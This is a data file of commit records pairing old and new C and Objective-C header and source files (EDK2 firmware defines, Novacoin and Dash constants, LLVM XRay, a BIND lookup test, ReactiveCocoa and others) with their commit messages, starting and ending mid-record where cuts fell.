__FRAMEWORK_FIRMWARE_VOLUME_IMAGE_FORMAT_H__\r\n\r\n\/\/\r\n\/\/ Bit values for AuthenticationStatus\r\n\/\/\r\n#define EFI_AGGREGATE_AUTH_STATUS_PLATFORM_OVERRIDE 0x000001\r\n#define EFI_AGGREGATE_AUTH_STATUS_IMAGE_SIGNED      0x000002\r\n#define EFI_AGGREGATE_AUTH_STATUS_NOT_TESTED        0x000004\r\n#define EFI_AGGREGATE_AUTH_STATUS_TEST_FAILED       0x000008\r\n#define EFI_AGGREGATE_AUTH_STATUS_ALL               0x00000f\r\n\r\n#define EFI_LOCAL_AUTH_STATUS_PLATFORM_OVERRIDE     0x010000\r\n#define EFI_LOCAL_AUTH_STATUS_IMAGE_SIGNED          0x020000\r\n#define EFI_LOCAL_AUTH_STATUS_NOT_TESTED            0x040000\r\n#define EFI_LOCAL_AUTH_STATUS_TEST_FAILED           0x080000\r\n#define EFI_LOCAL_AUTH_STATUS_ALL                   0x0f0000\r\n\r\n#endif\r\n","subject":"Add some definitions in Framework FV 0.9 spec but not in PI 1.0.","message":"Add some definitions in Framework FV 0.9 spec but not in PI 1.0.\n\ngit-svn-id: 5648d1bec6962b0a6d1d1b40eba8cf5cdb62da3d@2901 6f19259b-4bc3-4df7-8a09-765794883524\n","lang":"C","license":"bsd-2-clause","repos":"MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2"}
{"commit":"fbff55718ba32fc5f63c71f4251a679093ec2a44","old_file":"include\/YAnimated.h","new_file":"include\/YAnimated.h","old_contents":"#ifndef __YANIMATED__\r\n#define __YANIMATED__\r\n\r\ntypedef struct YFrame\r\n{\r\n\tint current;\r\n\tint first;\r\n\tint last;\r\n\tint width;\r\n\tint height;\r\n\tint fps;\r\n\tYFrame(){};\r\n\tYFrame(int a_current,\r\n\t\t   int a_first,\r\n\t\t   int a_last,\r\n\t\t   int a_width,\r\n\t\t   int a_height,\r\n\t\t   int a_fps):\r\n\t\t   current(a_current),\r\n\t\t   first(a_first),\r\n\t\t   last(a_last),\r\n\t\t   width(a_width),\r\n\t\t   height(a_height),\r\n\t\t   fps(a_fps){};\r\n} YFrame;\r\n\r\n#endif \/** __YANIMATED__ **\/","new_contents":"#ifndef __YANIMATED__\r\n#define __YANIMATED__\r\n\r\n\/*!\r\n  Store animation frame indexes\r\n*\/\r\ntypedef struct YFrame\r\n{\r\n\t\/\/! Default Constructor\r\n\tYFrame(): current(0),\r\n\t\t\t  first(0),\r\n\t\t\t  last(0){};\r\n\t\/\/! Constructor with parameters\r\n\t\/*!\r\n\t  \\param Current animation frame index\r\n\t  \\param First animation frame index\r\n\t  \\param Last animation frame index\r\n\t*\/\r\n\tYFrame(int a_current,\r\n\t\t   int a_first,\r\n\t\t   int a_last):\r\n\t\t   current(a_current),\r\n\t\t   first(a_first),\r\n\t\t   last(a_last){};\r\n\tint current; \/\/! Current frame index\r\n\tint first; \/\/! First frame index\r\n\tint last; \/\/! Last frame index\t\t   \r\n} YFrame;\r\n\r\n#endif \/** __YANIMATED__ **\/","subject":"Remove width, height and fps variable from YFrame struct","message":"Remove width, height and fps variable from YFrame struct\n","lang":"C","license":"mit","repos":"sergiosvieira\/yda,sergiosvieira\/yda,sergiosvieira\/yda"}
{"commit":"8750ff3b93535fbc009ad535d3b9234b566c4d35","old_file":"include\/data_type.h","new_file":"include\/data_type.h","old_contents":"","new_contents":"\/*\n * Use and distribution licensed under the Apache license version 2.\n *\n * See the COPYING file in the root project directory for full text.\n *\/\n\n#ifndef SQLTOAST_DATA_TYPE_H\n#define SQLTOAST_DATA_TYPE_H\n\nnamespace sqltoast {\n\ntypedef enum data_type {\n    DATA_TYPE_CHAR,\n    DATA_TYPE_VARCHAR,\n    DATA_TYPE_NCHAR,\n    DATA_TYPE_VARNCHAR,\n    DATA_TYPE_BIT,\n    DATA_TYPE_VARBIT,\n    DATA_TYPE_NUMERIC,\n    DATA_TYPE_DECIMAL,\n    DATA_TYPE_INT,\n    DATA_TYPE_SMALLINT,\n    DATA_TYPE_FLOAT,\n    DATA_TYPE_DOUBLE,\n    DATA_TYPE_DATE,\n    DATA_TYPE_TIME,\n    DATA_TYPE_TIMESTAMP,\n    DATA_TYPE_INTERVAL\n} data_type_t;\n\n} \/\/ namespace sqltoast\n\n#endif \/* SQLTOAST_DATA_TYPE_H *\/\n","subject":"Add standard ANSI-92 data types","message":"Add standard ANSI-92 data types\n","lang":"C","license":"apache-2.0","repos":"jaypipes\/sqltoast,jaypipes\/sqltoast"}
{"commit":"d0172776eac403c0f4df9da1bc99f00321449266","old_file":"src\/timestamps.h","new_file":"src\/timestamps.h","old_contents":"#ifndef BITCOIN_TIMESTAMPS_H\n#define BITCOIN_TIMESTAMPS_H\n\nstatic const unsigned int ENTROPY_SWITCH_TIME = 1362791041; \/\/ Sat, 09 Mar 2013 01:04:01 GMT\nstatic const unsigned int STAKE_SWITCH_TIME = 1371686400; \/\/ Thu, 20 Jun 2013 00:00:00 GMT\nstatic const unsigned int TARGETS_SWITCH_TIME = 1374278400; \/\/ Sat, 20 Jul 2013 00:00:00 GMT\nstatic const unsigned int CHAINCHECKS_SWITCH_TIME = 1379635200; \/\/ Fri, 20 Sep 2013 00:00:00 GMT\nstatic const unsigned int STAKECURVE_SWITCH_TIME = 1382227200; \/\/ Sun, 20 Oct 2013 00:00:00 GMT\nstatic const unsigned int FEE_SWITCH_TIME = 1405814400; \/\/ Sun, 20 Jul 2014 00:00:00 GMT\n\nstatic const unsigned int VALIDATION_SWITCH_TIME = 1408492800; \/\/ Wed, 20 Aug 2014 00:00:00 GMT\n\n#endif\n","new_contents":"#ifndef BITCOIN_TIMESTAMPS_H\n#define BITCOIN_TIMESTAMPS_H\n\nstatic const unsigned int ENTROPY_SWITCH_TIME = 1362791041; \/\/ Sat, 09 Mar 2013 01:04:01 GMT\nstatic const unsigned int STAKE_SWITCH_TIME = 1371686400; \/\/ Thu, 20 Jun 2013 00:00:00 GMT\nstatic const unsigned int TARGETS_SWITCH_TIME = 1374278400; \/\/ Sat, 20 Jul 2013 00:00:00 GMT\nstatic const unsigned int CHAINCHECKS_SWITCH_TIME = 1379635200; \/\/ Fri, 20 Sep 2013 00:00:00 GMT\nstatic const unsigned int STAKECURVE_SWITCH_TIME = 1382227200; \/\/ Sun, 20 Oct 2013 00:00:00 GMT\nstatic const unsigned int FEE_SWITCH_TIME = 1405814400; \/\/ Sun, 20 Jul 2014 00:00:00 GMT\n\nstatic const unsigned int VALIDATION_SWITCH_TIME = 1408492800; \/\/ Wed, 20 Aug 2014 00:00:00 GMT\nstatic const unsigned int SIG_SWITCH_TIME = 1411171200; \/\/ Sat, 20 Sep 2014 00:00:00 GMT\n\n#endif\n","subject":"Add SIG_SWITCH_TIME at Sat, 20 Sep 2014","message":"Add SIG_SWITCH_TIME at Sat, 20 Sep 2014","lang":"C","license":"mit","repos":"novacoin-project\/novacoin,stamhe\/novacoin,stamhe\/novacoin,stamhe\/novacoin,penek\/novacoin,gades\/novacoin,novacoin-project\/novacoin,elambert2014\/novacoin,fsb4000\/novacoin,penek\/novacoin,fsb4000\/novacoin,fsb4000\/novacoin,stamhe\/novacoin,byncoin-project\/byncoin,byncoin-project\/byncoin,elambert2014\/novacoin,byncoin-project\/byncoin,elambert2014\/novacoin,elambert2014\/novacoin,byncoin-project\/byncoin,fsb4000\/novacoin,penek\/novacoin,gades\/novacoin,elambert2014\/novacoin,fsb4000\/novacoin,gades\/novacoin,gades\/novacoin,penek\/novacoin,novacoin-project\/novacoin,byncoin-project\/byncoin,novacoin-project\/novacoin,stamhe\/novacoin,penek\/novacoin,gades\/novacoin,gades\/novacoin,novacoin-project\/novacoin,novacoin-project\/novacoin,fsb4000\/novacoin,elambert2014\/novacoin,byncoin-project\/byncoin,penek\/novacoin"}
{"commit":"d69e026a523445233153f3ab5218c8c652d5fe69","old_file":"src\/validation.h","new_file":"src\/validation.h","old_contents":"\/\/ Copyright (c) 2009-2010 Satoshi Nakamoto\n\/\/ Copyright (c) 2009-2015 The Bitcoin Core developers\n\/\/ Copyright (c) 2014-2017 The Dash Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#ifndef BITCOIN_VALIDATION_H\n#define BITCOIN_VALIDATION_H\n\n#include <stdint.h>\n#include <string>\n\nstatic const int64_t DEFAULT_MAX_TIP_AGE = 1 * 60 * 60; \/\/ ~45 blocks behind -> 2 x fork detection time, was 24 * 60 * 60 in bitcoin\n\nextern int64_t nMaxTipAge;\n\nclass CBlockIndex;\n\nFILE* OpenBlockFile(unsigned int nFile, unsigned int nBlockPos, const char* pszMode=\"rb\");\nFILE* AppendBlockFile(unsigned int& nFileRet);\n\nbool IsInitialBlockDownload();\n\n\/** Guess verification progress (as a fraction between 0.0=genesis and 1.0=current tip). *\/\ndouble GuessVerificationProgress(CBlockIndex* pindex);\n\n#endif \/\/ BITCOIN_VALIDATION_H\n","new_contents":"\/\/ Copyright (c) 2009-2010 Satoshi Nakamoto\n\/\/ Copyright (c) 2009-2015 The Bitcoin Core developers\n\/\/ Copyright (c) 2014-2017 The Dash Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#ifndef BITCOIN_VALIDATION_H\n#define BITCOIN_VALIDATION_H\n\n#include <stdint.h>\n#include <string>\n\nstatic const int64_t DEFAULT_MAX_TIP_AGE = 120; \/\/ ~45 blocks behind -> 2 x fork detection time, was 24 * 60 * 60 in bitcoin\n\nextern int64_t nMaxTipAge;\n\nclass CBlockIndex;\n\nFILE* OpenBlockFile(unsigned int nFile, unsigned int nBlockPos, const char* pszMode=\"rb\");\nFILE* AppendBlockFile(unsigned int& nFileRet);\n\nbool IsInitialBlockDownload();\n\n\/** Guess verification progress (as a fraction between 0.0=genesis and 1.0=current tip). *\/\ndouble GuessVerificationProgress(CBlockIndex* pindex);\n\n#endif \/\/ BITCOIN_VALIDATION_H\n","subject":"Update default max tip age","message":"Update default max tip age\n","lang":"C","license":"mit","repos":"neutroncoin\/neutron,neutroncoin\/neutron,neutroncoin\/neutron,neutroncoin\/neutron"}
{"commit":"769c2c7be646091ca003605c6dde6747c92f73e8","old_file":"lib\/xray\/xray_emulate_tsc.h","new_file":"lib\/xray\/xray_emulate_tsc.h","old_contents":"\/\/===-- xray_emulate_tsc.h --------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file is a part of XRay, a dynamic runtime instrumentation system.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n#ifndef XRAY_EMULATE_TSC_H\n#define XRAY_EMULATE_TSC_H\n\n#include \"sanitizer_common\/sanitizer_internal_defs.h\"\n#include \"xray_defs.h\"\n#include <cstdint>\n#include <time.h>\n\nnamespace __xray {\n\nstatic constexpr uint64_t NanosecondsPerSecond = 1000ULL * 1000 * 1000;\n\nALWAYS_INLINE uint64_t readTSC(uint8_t &CPU) XRAY_NEVER_INSTRUMENT {\n  timespec TS;\n  int result = clock_gettime(CLOCK_REALTIME, &TS);\n  if (result != 0) {\n    Report(\"clock_gettime(2) returned %d, errno=%d.\", result, int(errno));\n    TS.tv_sec = 0;\n    TS.tv_nsec = 0;\n  }\n  CPU = 0;\n  return TS.tv_sec * NanosecondsPerSecond + TS.tv_nsec;\n}\n}\n\n#endif \/\/ XRAY_EMULATE_TSC_H\n","new_contents":"\/\/===-- xray_emulate_tsc.h --------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file is a part of XRay, a dynamic runtime instrumentation system.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n#ifndef XRAY_EMULATE_TSC_H\n#define XRAY_EMULATE_TSC_H\n\n#include \"sanitizer_common\/sanitizer_internal_defs.h\"\n#include \"xray_defs.h\"\n#include <cerrno>\n#include <cstdint>\n#include <time.h>\n\nnamespace __xray {\n\nstatic constexpr uint64_t NanosecondsPerSecond = 1000ULL * 1000 * 1000;\n\nALWAYS_INLINE uint64_t readTSC(uint8_t &CPU) XRAY_NEVER_INSTRUMENT {\n  timespec TS;\n  int result = clock_gettime(CLOCK_REALTIME, &TS);\n  if (result != 0) {\n    Report(\"clock_gettime(2) returned %d, errno=%d.\", result, int(errno));\n    TS.tv_sec = 0;\n    TS.tv_nsec = 0;\n  }\n  CPU = 0;\n  return TS.tv_sec * NanosecondsPerSecond + TS.tv_nsec;\n}\n}\n\n#endif \/\/ XRAY_EMULATE_TSC_H\n","subject":"Fix missing include of <cerrno>","message":"[XRay][compiler-rt] Fix missing include of <cerrno>\n\nFuther attempt to un-break ARM and AArch64 build.\n\nFollow-up on D25360.\n\ngit-svn-id: c199f293c43da69278bea8e88f92242bf3aa95f7@290083 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt"}
{"commit":"643168599fc9fe58ae1779ac93e435b3fa934eee","old_file":"bin\/tests\/gxbn_test.c","new_file":"bin\/tests\/gxbn_test.c","old_contents":"","new_contents":"\/*\n * Copyright (C) 2000  Internet Software Consortium.\n * \n * Permission to use, copy, modify, and distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n * \n * THE SOFTWARE IS PROVIDED \"AS IS\" AND INTERNET SOFTWARE CONSORTIUM DISCLAIMS\n * ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL INTERNET SOFTWARE\n * CONSORTIUM BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL\n * DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR\n * PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS\n * ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS\n * SOFTWARE.\n *\/\n\n#include <stdio.h>\n#include <sys\/socket.h>\n#include <lwres\/netdb.h>\n\nstatic void\nprint_he(struct hostent *he, int error, const char *fun, const char *name) {\n\tchar **c;\n\tint i;\n\n\tif (he != NULL) {\n\t\t printf(\"%s(%s):\\n\", fun, name);\n\t\t printf(\"\\tname = %s\\n\", he->h_name);\n\t\t printf(\"\\taddrtype = %d\\n\", he->h_addrtype);\n\t\t printf(\"\\tlength = %d\\n\", he->h_length);\n\t\t c = he->h_aliases;\n\t\t i = 1;\n\t\t while (*c != NULL) {\n\t\t\tprintf(\"\\talias[%d] = %s\\n\", i, *c);\n\t\t\ti++;\n\t\t\tc++;\n\t\t }\n\t\t c = he->h_addr_list;\n\t\t i = 1;\n\t\t while (*c != NULL) {\n\t\t\tchar buf[128];\n\t\t\tinet_ntop(he->h_addrtype, c, buf, sizeof (buf));\n\t\t\tprintf(\"\\taddress[%d] = %s\\n\", i, buf);\n\t\t\tc++;\n\t\t\ti++;\n\t\t}\n\t} else {\n\t\tprintf(\"%s(%s): error = %d\\n\", fun, name, error);\n\t}\n}\n\nint\nmain(int argc, char **argv) {\n\tstruct hostent *he;\n\tchar **c;\n\tint error;\n\n\twhile (argv[1] != NULL) {\n\t\the = gethostbyname(argv[1]);\n\t\tprint_he(he, 0 \/* XXX h_errno *\/, \"gethostbyname\", argv[1]);\n\n\t\the = getipnodebyname(argv[1], AF_INET, AI_DEFAULT|AI_ALL,\n\t\t\t\t     &error);\n\t\tprint_he(he, error, \"getipnodebyname\", argv[1]);\n\t\tif (he != NULL)\n\t\t\tfreehostent(he);\n\t\targv++;\n\t}\n\texit(0);\n}\n","subject":"Test getipnodebyname() & gethostbyname() implementations.","message":"Test getipnodebyname() & gethostbyname() implementations.\n","lang":"C","license":"mpl-2.0","repos":"each\/bind9-collab,each\/bind9-collab,each\/bind9-collab,pecharmin\/bind9,pecharmin\/bind9,each\/bind9-collab,pecharmin\/bind9,pecharmin\/bind9,each\/bind9-collab,pecharmin\/bind9,each\/bind9-collab,pecharmin\/bind9"}
{"commit":"810e3b75bab2565a68d43b7fb7b709c10b19f711","old_file":"tutorial\/putc_example.c","new_file":"tutorial\/putc_example.c","old_contents":"\/\/ Compile with:\n\/\/ $ gcc -Wall -Werror -o putc_example putc_example.c\n\/\/\n\/\/ 1. Warm up: Make the program print out the string backwards\n\/\/ 2. $ rm -f putc_example  (remove the compiled program)\n\/\/    Comment out all of the #include headers in this file and re-run the\n\/\/    compile command.  You should see warnings, and no ouput file is generated.\n\/\/    Try to get the program to compile\/generate an output file without\n\/\/    adding the include files back in.  (There are two different ways that\n\/\/    I can think of to do this).\n\/\/ 3. In C, arrays and pointers are the same thing.  Rewrite the \"loop\"\n\/\/    section below using pointers instead of arrays (ie, dont use the [ ]\n\/\/    syntax).\n\/\/    See: http:\/\/www.google.com\/search?q=c+pointers+arrays\n\n\n#include <stdio.h>\n#include <string.h>\n\nint main(int argc, char* argv[]) {\n  if (argc != 2) {\n    printf(\"Usage: %s <string>\\n\", argv[0]);\n    return 0;\n  }\n\n  \/\/ This code is equivalent to printf(\"%s\\n\", argv[1]);\n  const char* string_argument = argv[1];\n  int length = strlen(string_argument);\n  int i;\n  for (i = 0; i < length; i++) {\n    char c = string_argument[i];\n    putchar(c);\n  }\n  putchar('\\n');\n\n  return 0;\n}\n","new_contents":"\/\/ Compile with:\n\/\/ $ gcc -Wall -Werror -o putc_example putc_example.c\n\/\/\n\/\/ 1. Warm up: Make the program print out the string backwards\n\/\/ 2. $ rm -f putc_example  (remove the compiled program)\n\/\/    Comment out all of the #include headers in this file and re-run the\n\/\/    compile command.  You should see warnings, and no ouput file is generated.\n\/\/    Try to get the program to compile\/generate an output file without\n\/\/    adding the include files back in.  (There are two different ways that\n\/\/    I can think of to do this).\n\/\/ 3. In C, arrays and pointers are the same thing.  Rewrite the \"loop\"\n\/\/    section below using pointers instead of arrays (ie, dont use the [ ]\n\/\/    syntax).\n\/\/    See: http:\/\/www.google.com\/search?q=c+pointers+arrays\n\n\n#include <stdio.h>\n#include <string.h>\n\nint main(int argc, char* argv[]) {\n  if (argc != 2) {\n    printf(\"Usage: %s <string>\\n\", argv[0]);\n    return 0;\n  }\n\n  \/\/ This code is equivalent to printf(\"%s\\n\", argv[1]);\n  const char* string_argument = argv[1];\n  size_t length = strlen(string_argument);\n  int i;\n  for (i = 0; i < length; i++) {\n    char c = string_argument[i];\n    putchar(c);\n  }\n  putchar('\\n');\n\n  return 0;\n}\n","subject":"Use size_t for strlen result, so it matches the man page.","message":"Use size_t for strlen result, so it matches the man page.\n\n","lang":"C","license":"apache-2.0","repos":"allenporter\/thebends,allenporter\/thebends,allenporter\/thebends,allenporter\/thebends,allenporter\/thebends,allenporter\/thebends,allenporter\/thebends,allenporter\/thebends,allenporter\/thebends"}
{"commit":"961492e653d8268044fa7af755531121cf3fc7d1","old_file":"src\/util\/file_utils.h","new_file":"src\/util\/file_utils.h","old_contents":"#ifndef FILE_UTILS_H\n#define FILE_UTILS_H\n\n#include <stdint.h>\n#include <string.h>\n#include <dirent.h>\n\n\n#define PATHLEN 32\n#define MAXPATH 1024\n\n#define PROC \"\/proc\/\"\n\n#define MEMINFO \"\/proc\/meminfo\"\n#define STATUS \"\/proc\/%s\/status\"\n\n#define IO_STAT \"\/proc\/%s\/io\"\n\n#define STAT \"\/proc\/%s\/stat\"\n#define STAT_BUFFER 4096\n\n#define COMM \"\/proc\/%s\/comm\"\n#define COMM_LEN strlen(COMM)\n\n#define FD \"\/proc\/%s\/fd\"\n\n#define UID \"Uid:\\t\"\n\nchar *parse_stat(char *pid, int field);\n\nchar *parse_proc(char *path, char *field);\n\nint is_pid(const struct dirent *directory);\n\nchar *strip(char *stat);\n\nchar *calculate_size(char *field_total, int byte_idx);\n\nuint64_t value_from_string(char *ps_field_value);\n\n#endif\n","new_contents":"#ifndef FILE_UTILS_H\n#define FILE_UTILS_H\n\n#include <stdint.h>\n#include <string.h>\n#include <dirent.h>\n\n\n#define PATHLEN 32\n#define MAXPATH 1024\n#define PROC_SIZE 1024\n\n#define PROC \"\/proc\/\"\n\n#define MEMINFO \"\/proc\/meminfo\"\n#define STATUS \"\/proc\/%s\/status\"\n\n#define IO_STAT \"\/proc\/%s\/io\"\n\n#define STAT \"\/proc\/%s\/stat\"\n#define STAT_BUFFER 4096\n\n#define COMM \"\/proc\/%s\/comm\"\n#define COMM_LEN strlen(COMM)\n\n#define FD \"\/proc\/%s\/fd\"\n\n#define UID \"Uid:\\t\"\n\nchar *parse_stat(char *pid, int field);\n\nchar *parse_proc(char *path, char *field);\n\nint is_pid(const struct dirent *directory);\n\nchar *strip(char *stat);\n\nchar *calculate_size(char *field_total, int byte_idx);\n\nuint64_t value_from_string(char *ps_field_value);\n\n#endif\n","subject":"Define macro for size of proc parser","message":"Define macro for size of proc parser\n","lang":"C","license":"mit","repos":"tijko\/dashboard"}
{"commit":"98c97486a56452a655471f0be6aa8ecfecc359fe","old_file":"ReactiveCocoaFramework\/ReactiveCocoa\/UIAlertView+RACCommandSupport.h","new_file":"ReactiveCocoaFramework\/ReactiveCocoa\/UIAlertView+RACCommandSupport.h","old_contents":"\/\/\n\/\/  UIAlertView+RACCommandSupport.h\n\/\/  ReactiveCocoa\n\/\/\n\/\/  Created by Henrik Hodne on 6\/16\/13.\n\/\/  Copyright (c) 2013 GitHub, Inc. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@class RACCommand;\n\n@interface UIAlertView (RACCommandSupport)\n\n\/\/ Sets the alert view's command. When a button on the alert view is pressed,\n\/\/ the command is executed with the index of the button that was pressed.\n@property (nonatomic, strong) RACCommand *rac_command;\n\n@end\n","new_contents":"\/\/\n\/\/  UIAlertView+RACCommandSupport.h\n\/\/  ReactiveCocoa\n\/\/\n\/\/  Created by Henrik Hodne on 6\/16\/13.\n\/\/  Copyright (c) 2013 GitHub, Inc. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n\n@class RACCommand;\n\n@interface UIAlertView (RACCommandSupport)\n\n\/\/ Sets the alert view's command. When a button on the alert view is pressed,\n\/\/ the command is executed with the index of the button that was pressed.\n\/\/\n\/\/ This will override the alert view's delegate, so you can't use this together\n\/\/ with a custom delegate.\n@property (nonatomic, strong) RACCommand *rac_command;\n\n@end\n","subject":"Document that UIAlertView.rac_command overrides the delegate","message":"Document that UIAlertView.rac_command overrides the delegate\n","lang":"C","license":"mit","repos":"DongDongDongDong\/ReactiveCocoa,JohnJin007\/ReactiveCocoa,AllanChen\/ReactiveCocoa,walkingsmarts\/ReactiveCocoa,Pingco\/ReactiveCocoa,dz1111\/ReactiveCocoa,zhenlove\/ReactiveCocoa,brightcove\/ReactiveCocoa,jsslai\/ReactiveCocoa,Pikdays\/ReactiveCocoa,paulyoung\/ReactiveCocoa,on99\/ReactiveCocoa,xumaolin\/ReactiveCocoa,mxxiv\/ReactiveCocoa,calebd\/ReactiveCocoa,tzongw\/ReactiveCocoa,BlessNeo\/ReactiveCocoa,valleyman86\/ReactiveCocoa,JohnJin007\/ReactiveCocoa,on99\/ReactiveCocoa,richeterre\/ReactiveCocoa,natestedman\/ReactiveCocoa,zhaoguohui\/ReactiveCocoa,nikita-leonov\/ReactiveCocoa,tipbit\/ReactiveCocoa,WEIBP\/ReactiveCocoa,alvinvarghese\/ReactiveCocoa,llb1119\/test,xulibao\/ReactiveCocoa,nickcheng\/ReactiveCocoa,valleyman86\/ReactiveCocoa,SuPair\/ReactiveCocoa,liufeigit\/ReactiveCocoa,zhaoguohui\/ReactiveCocoa,libiao88\/ReactiveCocoa,monkeydbobo\/ReactiveCocoa,howandhao\/ReactiveCocoa,Farteen\/ReactiveCocoa,RuiAAPeres\/ReactiveCocoa,stevielu\/ReactiveCocoa,tiger8888\/ReactiveCocoa,leichunfeng\/ReactiveCocoa,shuxiashusheng\/ReactiveCocoa,jrmiddle\/ReactiveCocoa,ddc391565320\/ReactiveCocoa,mtxs007\/ReactiveCocoa,beni55\/ReactiveCocoa,zzzworm\/ReactiveCocoa,wangqi211\/ReactiveCocoa,Ray0218\/ReactiveCocoa,qq644531343\/ReactiveCocoa,cogddo\/ReactiveCocoa,juliangrosshauser\/ReactiveCocoa,stupidfive\/ReactiveCocoa,OnTheWay1988\/ReactiveCocoa,wpstarnice\/ReactiveCocoa,yaoxiaoyong\/ReactiveCocoa,CQXfly\/ReactiveCocoa,200895045\/ReactiveCocoa,zhiwen1024\/ReactiveCocoa,almassapargali\/ReactiveCocoa,msdgwzhy6\/ReactiveCocoa,taylormoonxu\/ReactiveCocoa,wpstarnice\/ReactiveCocoa,jaylib\/ReactiveCocoa,yaoxiaoyong\/ReactiveCocoa,natan\/ReactiveCocoa,WEIBP\/ReactiveCocoa,335g\/ReactiveCocoa,natan\/ReactiveCocoa,hbucius\/ReactiveCocoa,kevin-zqw\/ReactiveCocoa,paulyoung\/ReactiveCocoa,JohnJin007\/ReactiveCocoa,Adlai-Holler\/ReactiveCocoa,yytong\/ReactiveCocoa,itschaitanya\/ReactiveCocoa,AndyZhaoHe\/ReactiveCocoa,Eveian\/ReactiveCocoa,jackywpy\/ReactiveCocoa,bensonday\/ReactiveCocoa,isghe\/ReactiveCocoa,LHDsimon\/ReactiveCocoa,almassapargali\/ReactiveCocoa,monkeydbobo\/ReactiveCocoa,OnTheWay1988\/ReactiveCocoa,GuitarPlayer-Ma\/ReactiveCocoa,mxxiv\/ReactiveCocoa,Khan\/ReactiveCocoa,koamac\/ReactiveCocoa,goodheart\/ReactiveCocoa,hoanganh6491\/ReactiveCocoa,calebd\/ReactiveCocoa,imkerberos\/ReactiveCocoa,335g\/ReactiveCocoa,koamac\/ReactiveCocoa,jsslai\/ReactiveCocoa,SanChain\/ReactiveCocoa,kiurentu\/ReactiveCocoa,ohwutup\/ReactiveCocoa,KuPai32G\/ReactiveCocoa,zxq3220122\/ReactiveCocoa,Ray0218\/ReactiveCocoa,ShawnLeee\/ReactiveCocoa,SmartEncounter\/ReactiveCocoa,eliperkins\/ReactiveCocoa,towik\/ReactiveCocoa,KJin99\/ReactiveCocoa,taylormoonxu\/ReactiveCocoa,Pingco\/ReactiveCocoa,SuPair\/ReactiveCocoa,RuiAAPeres\/ReactiveCocoa,Remitly\/ReactiveCocoa,Juraldinio\/ReactiveCocoa,nikita-leonov\/ReactiveCocoa,andersio\/ReactiveCocoa,AlanJN\/ReactiveCocoa,PSPDFKit-labs\/ReactiveCocoa,Juraldinio\/ReactiveCocoa,PSPDFKit-labs\/ReactiveCocoa,Khan\/ReactiveCocoa,AlanJN\/ReactiveCocoa,yoichitgy\/ReactiveCocoa,icepy\/ReactiveCocoa,victorlin\/ReactiveCocoa,kaylio\/ReactiveCocoa,ceekayel\/ReactiveCocoa,jianwoo\/ReactiveCocoa,dz1111\/ReactiveCocoa,walkingsmarts\/ReactiveCocoa,ailyanlu\/ReactiveCocoa,Carthage\/ReactiveCocoa,yytong\/ReactiveCocoa,sdhzwm\/ReactiveCocoa,huiping192\/ReactiveCocoa,Farteen\/ReactiveCocoa,smilypeda\/ReactiveCocoa,CQXfly\/ReactiveCocoa,brasbug\/ReactiveCocoa,longv2go\/ReactiveCocoa,hilllinux\/ReactiveCocoa,qq644531343\/ReactiveCocoa,windgo\/ReactiveCocoa,cstars135\/ReactiveCocoa,dachaoisme\/ReactiveCocoa,Khan\/ReactiveCocoa,chao95957\/ReactiveCocoa,Pikdays\/ReactiveCocoa,richeterre\/ReactiveCocoa,pzw224\/ReactiveCocoa,dskatz22\/ReactiveCocoa,jrmiddle\/ReactiveCocoa,ailyanlu\/ReactiveCocoa,xiaoliyang\/ReactiveCocoa,JackLian\/ReactiveCocoa,victorlin\/ReactiveCocoa,ztchena\/ReactiveCocoa,yangyangluoluo\/ReactiveCocoa,takeshineshiro\/ReactiveCocoa,jrmiddle\/ReactiveCocoa,pzw224\/ReactiveCocoa,Ricowere\/ReactiveCocoa,eyu1988\/ReactiveCocoa,zhenlove\/ReactiveCocoa,lixar\/ReactiveCocoa,nickcheng\/ReactiveCocoa,zzqiltw\/ReactiveCocoa,valleyman86\/ReactiveCocoa,clg0118\/ReactiveCocoa,nickcheng\/ReactiveCocoa,windgo\/ReactiveCocoa,natan\/ReactiveCocoa,dskatz22\/ReactiveCocoa,cstars135\/ReactiveCocoa,buildo\/ReactiveCocoa,cnbin\/ReactiveCocoa,nickcheng\/ReactiveCocoa,OneSmallTree\/ReactiveCocoa,zhenlove\/ReactiveCocoa,SanChain\/ReactiveCocoa,zhigang1992\/ReactiveCocoa,ioshger0125\/ReactiveCocoa,swizzlr\/ReactiveCocoa,chao95957\/ReactiveCocoa,jeelun\/ReactiveCocoa,ohwutup\/ReactiveCocoa,xumaolin\/ReactiveCocoa,hj3938\/ReactiveCocoa,Ray0218\/ReactiveCocoa,clg0118\/ReactiveCocoa,BrooksWon\/ReactiveCocoa,natestedman\/ReactiveCocoa,jianwoo\/ReactiveCocoa,bensonday\/ReactiveCo